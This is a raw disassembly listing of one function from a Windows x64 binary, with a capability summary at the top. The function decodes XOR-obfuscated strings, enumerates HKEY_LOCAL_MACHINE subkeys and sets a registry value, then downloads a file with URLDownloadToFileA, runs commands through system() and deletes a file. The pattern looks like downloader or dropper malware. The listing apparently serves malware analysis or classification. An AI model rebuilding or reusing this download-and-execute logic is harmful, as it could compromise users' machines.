Function at 0x14001ff40
Capabilities:
Delete file
Download url
Encode data using xor
Execute command
Query or enumerate registry key
Query or enumerate registry value
Receive data
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xb28]
sub rsp, 0xc00
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
movaps xmmword [rax - 0xa8], xmm13
movaps xmmword [rax - 0xb8], xmm14
movaps xmmword [rax - 0xc8], xmm15
mov rax, qword [0x1400c4040]
xor rax, rsp
mov qword [rbp + 0xa50], rax
xorps xmm0, xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc8], xmm1
xor r14d, r14d
mov qword [rbp + 0xd8], r14
movups xmmword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x160], xmm0
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x180], xmm0
lea rdx, [rbp + 0x150]
call fcn.14001ee20
nop
mov rdi, qword [rbp + 0x158]
mov rbx, qword [rdi]
mov rcx, qword [rbp + 0xd0]
cmp rbx, rdi
je 0x140020057
nop dword [rax]
lea r8, [rbx + 0x10]
cmp rcx, qword [rbp + 0xd8]
je 0x140020039
mov rdx, r8
call fcn.1400b9790
mov rcx, qword [rbp + 0xd0]
add rcx, 0x20
mov qword [rbp + 0xd0], rcx
jmp 0x14002004f
mov rdx, rcx
lea rcx, [rbp + 0xc8]
call fcn.1400bb410
mov rcx, qword [rbp + 0xd0]
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x140020010
mov r13d, r14d
mov rax, qword [rbp + 0xc8]
cmp rax, rcx
je 0x14002007c
nop word [rax + rax]
inc r13d
add rax, 0x20
cmp rax, rcx
jne 0x140020070
mov dword [rbp - 0x18], 1
mov r15d, 1
mov qword [rbp + 0x20], r15
movdqa xmm13, xmmword [0x1400bf120]
movdqa xmm14, xmmword [0x1400bf5e0]
movdqa xmm15, xmmword [0x1400bee90]
movdqa xmm6, xmmword [0x1400bef40]
movdqa xmm7, xmmword [0x1400bf8a0]
movdqa xmm8, xmmword [0x1400bfa20]
movdqa xmm9, xmmword [0x1400bf010]
movdqa xmm10, xmmword [0x1400bf530]
movdqa xmm11, xmmword [0x1400bf810]
movdqa xmm12, xmmword [0x1400bf890]
nop word [rax + rax]
mov dword [rbp - 0x58], 0xb
mov dword [rbp - 0x54], 0xf5f7d3b1
mov dword [rbp - 0x50], 0xeaf2e2e5
mov dword [rbp - 0x4c], 0x9cbba0b9
mov edx, r14d
nop
mov eax, edx
lea rcx, [rbp - 0x54]
add rcx, rax
lea eax, [rdx - 0x6f]
xor byte [rcx], al
inc edx
mov eax, dword [rbp - 0x58]
cmp edx, eax
jb 0x140020110
mov byte [rbp + rax - 0x54], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0xa8], xmm0
mov qword [rbp + 0xb8], r14
mov qword [rbp + 0xc0], r14
lea rax, [rbp - 0x54]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140020150
lea rdx, [rbp - 0x54]
lea rcx, [rbp + 0xa8]
call fcn.1400baa10
nop
mov rbx, r14
mov rdi, qword [rbp + 0xb8]
test rdi, rdi
je 0x1400201c5
mov rsi, qword [rbp + 0xc0]
mov r14, qword [rbp + 0xa8]
nop dword [rax + rax]
lea rdx, [rbp + 0xa8]
cmp rsi, 0xf
cmova rdx, r14
movzx edx, byte [rdx + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400b9fc0
mov ecx, 9
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x140020190
xor r14d, r14d
lea rcx, [rbp + 0xa8]
call fcn.1400b9ad0
lea r12, [r15 - 1]
mov rax, qword [rbp + 0xd0]
mov rcx, qword [rbp + 0xc8]
sub rax, rcx
sar rax, 5
cmp rax, r12
jbe 0x140020fd0
mov r15, r12
shl r15, 5
lea r8, [r15 + rcx]
mov rdx, r8
cmp qword [r8 + 0x18], 0xf
jbe 0x14002020b
mov rdx, qword [r8]
mov r8, qword [r8 + 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400bb250
lea rdx, [0x1400ba370]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp - 0x48], 0xb
mov dword [rbp - 0x44], 0xf0ffddb1
mov dword [rbp - 0x40], 0xdbd6dbb5
mov dword [rbp - 0x3c], 0x9cbba0b9
mov edx, r14d
nop word [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x44]
add rcx, rax
lea eax, [rdx - 0x6f]
xor byte [rcx], al
inc edx
mov eax, dword [rbp - 0x48]
cmp edx, eax
jb 0x140020250
mov byte [rbp + rax - 0x44], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0xa8], xmm0
mov qword [rbp + 0xb8], r14
mov qword [rbp + 0xc0], r14
lea rax, [rbp - 0x44]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140020290
lea rdx, [rbp - 0x44]
lea rcx, [rbp + 0xa8]
call fcn.1400baa10
nop
mov rbx, r14
mov rdi, qword [rbp + 0xb8]
test rdi, rdi
je 0x140020305
mov rsi, qword [rbp + 0xc0]
mov r14, qword [rbp + 0xa8]
nop dword [rax + rax]
lea rdx, [rbp + 0xa8]
cmp rsi, 0xf
cmova rdx, r14
movzx edx, byte [rdx + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400b9fc0
mov ecx, 9
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x1400202d0
xor r14d, r14d
lea rcx, [rbp + 0xa8]
call fcn.1400b9ad0
movsxd rbx, dword [rbp - 0x18]
lea rdx, [rbx - 1]
mov rax, qword [rbp + 0xd0]
mov rcx, qword [rbp + 0xc8]
sub rax, rcx
sar rax, 5
cmp rax, rdx
jbe 0x140020fd0
shl rdx, 5
add rdx, rcx
lea rcx, [rbp + 0x150]
call fcn.1400b8f70
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140020357
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400bb250
lea rdx, [0x1400ba370]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [rbp + 0xd0]
mov rcx, qword [rbp + 0xc8]
sub rax, rcx
sar rax, 5
cmp rax, r12
jbe 0x140020fd0
lea rax, [r15 + rcx]
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1400203ab
mov rdx, qword [rax]
mov rcx, rdx
jmp 0x1400203ae
mov rcx, rax
mov r8, qword [rax + 0x10]
add r8, rcx
lea rcx, [rbp + 0x128]
call fcn.1400ba3b0
nop
lea r12, [rbp + 0x128]
cmp qword [rbp + 0x140], 0xf
cmova r12, qword [rbp + 0x128]
mov qword [rbp + 0x90], r14
mov eax, 0x4d
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x44], 0xc0c0cbc2
mov dword [rsp + 0x48], 0xdbcbdbd0
mov dword [rsp + 0x4c], 0xf9e9e8ec
movdqa xmm0, xmmword [0x1400bf380]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmm0, xmmword [0x1400bf000]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm0, xmmword [0x1400bf0d0]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm0, xmmword [0x1400bf880]
movdqa xmmword [rbp - 0x80], xmm0
mov dword [rbp - 0x70], 0xdea0
mov edx, r14d
test eax, eax
je 0x140020469
nop word [rax + rax]
mov eax, edx
lea rcx, [rsp + 0x44]
add rcx, rax
lea eax, [rdx - 0x6f]
xor byte [rcx], al
inc edx
mov eax, dword [rsp + 0x40]
cmp edx, eax
jb 0x140020450
mov byte [rsp + rax + 0x44], 0
lea rax, [rbp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, [rsp + 0x44]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140020e58
mov r15d, r14d
mov dword [rbp + 0xa0], 0x400
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0xa0]
lea r8, [rbp + 0x190]
xor edx, edx
mov rcx, qword [rbp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x140020e4b
nop dword [rax]
nop word [rax + rax]
mov qword [rbp + 0x98], r14
lea rax, [rbp + 0x98]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, [rbp + 0x190]
mov rcx, qword [rbp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140020e01
mov dword [rbp + 0x100], 0x400
mov eax, 0xa
mov dword [rbp - 0x28], eax
mov dword [rbp - 0x24], 0xe2fae0d5
mov dword [rbp - 0x20], 0xfdd3e4f0
mov dword [rbp - 0x1c], 0x9bf9ea
mov edx, r14d
test eax, eax
je 0x140020577
nop word [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x24]
add rcx, rax
lea eax, [rdx - 0x6f]
xor byte [rcx], al
inc edx
mov eax, dword [rbp - 0x28]
cmp edx, eax
jb 0x140020560
mov byte [rbp + rax - 0x24], 0
lea rax, [rbp + 0x100]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x590]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x24]
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140020df4
mov rdx, r12
lea rcx, [rbp + 0x590]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbscmp]
test eax, eax
jne 0x140020df4
lea rdx, [rbp + 0xe0]
call fcn.14001e9f0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xa8], xmm0
mov qword [rbp + 0xb8], r14
mov qword [rbp + 0xc0], r14
lea rsi, [rbp + 0xe0]
mov rdx, qword [rbp + 0xe0]
mov r8, qword [rbp + 0xf8]
cmp r8, 0xf
cmova rsi, rdx
mov rdi, qword [rbp + 0xf0]
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x140020fca
cmp rdi, 0xf
ja 0x14002064e
mov qword [rbp + 0xb8], rdi
mov qword [rbp + 0xc0], 0xf
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0xa8], xmm0
jmp 0x1400206fe
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
jbe 0x14002066d
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14002069e
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140020688
mov rax, r14
jmp 0x1400206c5
cmp rcx, 0x1000
jb 0x1400206c0
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140020fd6
mov rcx, rax
call fcn.1400bba20
mov rcx, rax
test rax, rax
je 0x140020f53
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400206c5
call fcn.1400bba20
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0xb8], rdi
mov qword [rbp + 0xc0], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov r8, qword [rbp + 0xf8]
mov rdi, qword [rbp + 0xf0]
mov rdx, qword [rbp + 0xe0]
lea rsi, [rbp + 0xe0]
cmp r8, 0xf
cmova rsi, rdx
add rsi, rdi
lea rbx, [rbp + 0xe0]
cmp r8, 0xf
cmova rbx, rdx
add rbx, rdi
lea rcx, [rbp + 0xe0]
cmp r8, 0xf
cmova rcx, rdx
mov r8b, 0x2d
mov rdx, rbx
call fcn.1400bb9b0
mov r8, rax
cmp rax, rbx
je 0x140020765
lea rcx, [rax + 1]
cmp rcx, rbx
je 0x140020765
nop dword [rax]
movzx eax, byte [rcx]
cmp al, 0x2d
je 0x14002075d
mov byte [r8], al
inc r8
inc rcx
cmp rcx, rbx
jne 0x140020750
lea rax, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0xf
cmova rax, qword [rbp + 0xe0]
mov r9, r8
sub r9, rax
sub rsi, r8
mov rbx, qword [rbp + 0xf0]
mov rax, rbx
sub rax, r9
cmp rax, rsi
cmovb rsi, rax
lea rcx, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0xf
cmova rcx, qword [rbp + 0xe0]
add rcx, r9
sub rbx, rsi
mov r8, rbx
sub r8, r9
inc r8
lea rdx, [rcx + rsi]
call sub.VCRUNTIME140.dll_memmove
mov qword [rbp + 0xf0], rbx
lea r8, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0xf
cmova r8, qword [rbp + 0xe0]
add r8, rbx
lea rdx, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0xf
cmova rdx, qword [rbp + 0xe0]
lea rcx, [rbp + 0x108]
call fcn.1400ba3b0
nop
lea r8, [rbp + 0x108]
cmp qword [rbp + 0x120], 0xf
cmova r8, qword [rbp + 0x108]
mov eax, 0xe
mov dword [rbp - 8], eax
movdqa xmm0, xmmword [0x1400bef10]
movdqu xmmword [rbp - 4], xmm0
mov edx, r14d
test eax, eax
je 0x140020857
mov eax, edx
lea rcx, [rbp - 4]
add rcx, rax
lea eax, [rdx - 0x6f]
xor byte [rcx], al
inc edx
mov eax, dword [rbp - 8]
cmp edx, eax
jb 0x140020840
mov byte [rbp + rax - 4], 0
mov rax, 0xffffffffffffffff
inc rax
cmp byte [r8 + rax], 0
jne 0x140020863
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r8
mov r9d, 1
xor r8d, r8d
lea rdx, [rbp - 4]
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140020dce
mov dword [rbp - 0x38], 0xb
mov dword [rbp - 0x34], 0xe3f6dcb1
mov dword [rbp - 0x30], 0xdbd6dbb5
mov dword [rbp - 0x2c], 0x9cbba0b9
mov eax, r14d
nop dword [rax]
mov ecx, eax
lea rdx, [rbp - 0x34]
add rdx, rcx
lea ecx, [rax - 0x6f]
xor byte [rdx], cl
inc eax
mov ecx, dword [rbp - 0x38]
cmp eax, ecx
jb 0x1400208c0
mov byte [rbp + rcx - 0x34], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
lea rax, [rbp - 0x34]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140020900
lea rdx, [rbp - 0x34]
lea rcx, [rsp + 0x40]
call fcn.1400baa10
nop
mov rbx, r14
mov rdi, qword [rsp + 0x50]
test rdi, rdi
je 0x140020963
mov rsi, qword [rsp + 0x58]
mov r14, qword [rsp + 0x40]
lea rdx, [rsp + 0x40]
cmp rsi, 0xf
cmova rdx, r14
movzx edx, byte [rdx + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400b9fc0
mov ecx, 9
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x140020930
xor r14d, r14d
lea rcx, [rsp + 0x40]
call fcn.1400b9ad0
lea rdx, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 0xf
cmova rdx, qword [rbp + 0xa8]
mov r8, qword [rbp + 0xb8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400bb250
lea rdx, [0x1400ba370]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 0x16
mov dword [rbp - 8], eax
movdqa xmm0, xmmword [0x1400bf6c0]
movdqu xmmword [rbp - 4], xmm0
mov dword [rbp + 0xc], 0x8a8dd0c4
mov dword [rbp + 0x10], 0xa7868b
mov edx, r14d
nop dword [rax]
mov eax, edx
lea rcx, [rbp - 4]
add rcx, rax
lea eax, [rdx - 0x6f]
xor byte [rcx], al
inc edx
mov eax, dword [rbp - 8]
cmp edx, eax
jb 0x1400209d0
mov byte [rbp + rax - 4], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
lea rax, [rbp - 4]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140020a10
lea rdx, [rbp - 4]
lea rcx, [rsp + 0x40]
call fcn.1400baa10
nop
mov rbx, r14
mov rdi, qword [rsp + 0x50]
test rdi, rdi
je 0x140020a73
mov rsi, qword [rsp + 0x58]
mov r14, qword [rsp + 0x40]
lea rdx, [rsp + 0x40]
cmp rsi, 0xf
cmova rdx, r14
movzx edx, byte [rdx + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400b9fc0
mov ecx, 9
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x140020a40
xor r14d, r14d
lea rcx, [rsp + 0x40]
call fcn.1400b9ad0
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x26
mov dword [rsp + 0x40], eax
movdqu xmmword [rsp + 0x44], xmm12
movdqu xmmword [rsp + 0x54], xmm11
mov dword [rsp + 0x64], 0xd19dd9c3
mov dword [rsp + 0x68], 0xb7d3cd
mov edx, r14d
test eax, eax
je 0x140020ad9
nop word [rax + rax]
mov eax, edx
lea rcx, [rsp + 0x44]
add rcx, rax
lea eax, [rdx - 0x6f]
xor byte [rcx], al
inc edx
mov eax, dword [rsp + 0x40]
cmp edx, eax
jb 0x140020ac0
mov byte [rsp + rax + 0x44], 0
mov eax, 0x5a
mov dword [rbp + 0x30], eax
mov dword [rbp + 0x34], 0xe4e7e6f9
mov dword [rbp + 0x38], 0xb7b8ace6
mov dword [rbp + 0x3c], 0xb2f5fefa
movdqa xmmword [rbp + 0x40], xmm10
movdqa xmmword [rbp + 0x50], xmm9
movdqa xmmword [rbp + 0x60], xmm8
movdqa xmmword [rbp + 0x70], xmm7
movdqa xmmword [rbp + 0x80], xmm6
mov edx, r14d
test eax, eax
je 0x140020b38
mov eax, edx
lea rcx, [rbp + 0x34]
add rcx, rax
lea eax, [rdx - 0x6f]
xor byte [rcx], al
inc edx
mov eax, dword [rbp + 0x30]
cmp edx, eax
jb 0x140020b21
mov byte [rbp + rax + 0x34], 0
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, [rsp + 0x44]
lea rdx, [rbp + 0x34]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov eax, 0x2c
mov dword [rsp + 0x40], eax
movdqa xmm0, xmmword [0x1400bf680]
movdqu xmmword [rsp + 0x44], xmm0
movdqa xmm0, xmmword [0x1400bf870]
movdqu xmmword [rsp + 0x54], xmm0
movdqu xmmword [rsp + 0x64], xmm15
mov edx, r14d
test eax, eax
je 0x140020ba9
nop dword [rax]
mov eax, edx
lea rcx, [rsp + 0x44]
add rcx, rax
lea eax, [rdx - 0x6f]
xor byte [rcx], al
inc edx
mov eax, dword [rsp + 0x40]
cmp edx, eax
jb 0x140020b90
mov byte [rsp + rax + 0x44], 0
lea rcx, [rsp + 0x44]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140019da0
mov dword [rbp - 0x60], 3
mov dword [rbp - 0x5c], 0x94e0fef2
mov edx, r14d
nop word [rax + rax]
mov eax, edx
lea rcx, [rbp - 0x5c]
add rcx, rax
lea eax, [rdx - 0x6f]
xor byte [rcx], al
inc edx
mov eax, dword [rbp - 0x60]
cmp edx, eax
jb 0x140020be0
mov byte [rbp + rax - 0x5c], 0
lea rcx, [rbp - 0x5c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, 0x22
mov dword [rbp - 8], eax
movdqu xmmword [rbp - 4], xmm14
movdqu xmmword [rbp + 0xc], xmm13
mov dword [rbp + 0x1c], 0xb3929f
mov edx, r14d
test eax, eax
je 0x140020c47
nop dword [rax + rax]
mov eax, edx
lea rcx, [rbp - 4]
add rcx, rax
lea eax, [rdx - 0x6f]
xor byte [rcx], al
inc edx
mov eax, dword [rbp - 8]
cmp edx, eax
jb 0x140020c30
mov byte [rbp + rax - 4], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
lea rax, [rbp - 4]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140020c70
lea rdx, [rbp - 4]
lea rcx, [rsp + 0x40]
call fcn.1400baa10
nop
mov rbx, r14
mov rdi, qword [rsp + 0x50]
test rdi, rdi
je 0x140020cd3
mov rsi, qword [rsp + 0x58]
mov r14, qword [rsp + 0x40]
lea rdx, [rsp + 0x40]
cmp rsi, 0xf
cmova rdx, r14
movzx edx, byte [rdx + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400b9fc0
mov ecx, 9
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x140020ca0
xor r14d, r14d
lea rcx, [rsp + 0x40]
call fcn.1400b9ad0
mov ecx, 0x4844
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x26
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x44], 0xa800d2
mov dword [rsp + 0x48], 0xc300cf
mov dword [rsp + 0x4c], 0xf800fc
mov dword [rsp + 0x50], 0xf700f3
mov dword [rsp + 0x54], 0xe900ee
mov dword [rsp + 0x58], 0xd500c7
mov dword [rsp + 0x5c], 0xdb00d0
mov dword [rsp + 0x60], 0xe900c3
mov dword [rsp + 0x64], 0xe700ec
mov dword [rsp + 0x68], 0xf600e8
mov dword [rsp + 0x6c], 0xe200f9
mov dword [rsp + 0x70], 0xeb00ee
mov dword [rsp + 0x74], 0xf900fd
mov dword [rsp + 0x78], 0xc200f7
mov dword [rsp + 0x7c], 0xda00c8
mov dword [rbp - 0x80], 0xdf00d8
mov dword [rbp - 0x7c], 0xd900c3
mov dword [rbp - 0x78], 0xd1009d
mov dword [rbp - 0x74], 0xd300cd
mov dword [rbp - 0x70], 0xb7
mov edx, r14d
test eax, eax
je 0x140020dbc
mov r8d, 0x91
nop dword [rax]
mov eax, edx
lea rcx, [rsp + 0x44]
lea rcx, [rcx + rax*2]
lea eax, [r8 + rdx]
xor word [rcx], ax
inc edx
mov eax, dword [rsp + 0x40]
cmp edx, eax
jb 0x140020da0
mov word [rsp + rax*2 + 0x44], r14w
lea rcx, [rsp + 0x44]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
lea rcx, [rbp + 0x108]
call fcn.1400b9ad0
nop
lea rcx, [rbp + 0xa8]
call fcn.1400b9ad0
nop
lea rcx, [rbp + 0xe0]
call fcn.1400b9ad0
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rbp + 0xa0], 0x400
inc r15d
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0xa0]
lea r8, [rbp + 0x190]
mov edx, r15d
mov rcx, qword [rbp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
je 0x1400204f0
mov ebx, dword [rbp - 0x18]
mov rcx, qword [rbp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov dword [rbp - 0x10], eax
mov dword [rbp - 0xc], 0x92b1
mov edx, r14d
test eax, eax
je 0x140020e87
nop
mov eax, edx
lea rcx, [rbp - 0xc]
add rcx, rax
lea eax, [rdx - 0x6f]
xor byte [rcx], al
inc edx
mov eax, dword [rbp - 0x10]
cmp edx, eax
jb 0x140020e70
mov byte [rbp + rax - 0xc], 0
lea rdx, [rbp - 0xc]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400ba190
mov rcx, rax
lea rdx, [0x1400ba370]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
inc ebx
mov dword [rbp - 0x18], ebx
mov r15, qword [rbp + 0x20]
inc r15
mov qword [rbp + 0x20], r15
lea rcx, [rbp + 0x128]
call fcn.1400b9ad0
lea eax, [r13 + 1]
cmp ebx, eax
jl 0x1400200f0
lea rcx, [rbp + 0x168]
call fcn.1400b9070
lea rcx, [rbp + 0x158]
call fcn.1400b90d0
nop
mov rbx, qword [rbp + 0xc8]
test rbx, rbx
je 0x140020f62
mov rdi, qword [rbp + 0xd0]
cmp rbx, rdi
je 0x140020f1d
mov rcx, rbx
call fcn.1400b9ad0
add rbx, 0x20
cmp rbx, rdi
jne 0x140020f05
mov rbx, qword [rbp + 0xc8]
mov rdx, qword [rbp + 0xd8]
sub rdx, rbx
and rdx, 0xffffffffffffffe0
mov rax, rbx
cmp rdx, 0x1000
jb 0x140020f5a
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140020f5a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, rbx
call fcn.1400bba5c
mov rcx, qword [rbp + 0xa50]
xor rcx, rsp
call fcn.1400bba00
lea r11, [rsp + 0xc00]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001290
nop
call fcn.1400b9a00
nop
call fcn.1400011f0
int3